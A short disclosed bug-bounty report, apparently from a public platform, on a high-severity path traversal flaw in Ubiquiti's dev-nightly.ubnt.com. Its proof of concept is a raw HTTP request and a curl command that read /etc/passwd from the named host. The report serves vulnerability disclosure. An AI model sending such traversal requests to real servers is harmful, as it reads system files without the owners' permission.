Ubiquiti Inc. · Report #260420
[dev-nightly.ubnt.com] Local File Reading
Validstatus
highseverity
31upvotes
14 Sept 2017disclosed
Summary
¯\_(ツ)_/¯
How it was found
Description Reading files outside the web root via path traversal
PoC
GET /..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1
Host: dev-nightly.ubnt.com
curl "https://dev-nightly.ubnt.com/..\..\..\etc\passwd"
Result {F213057}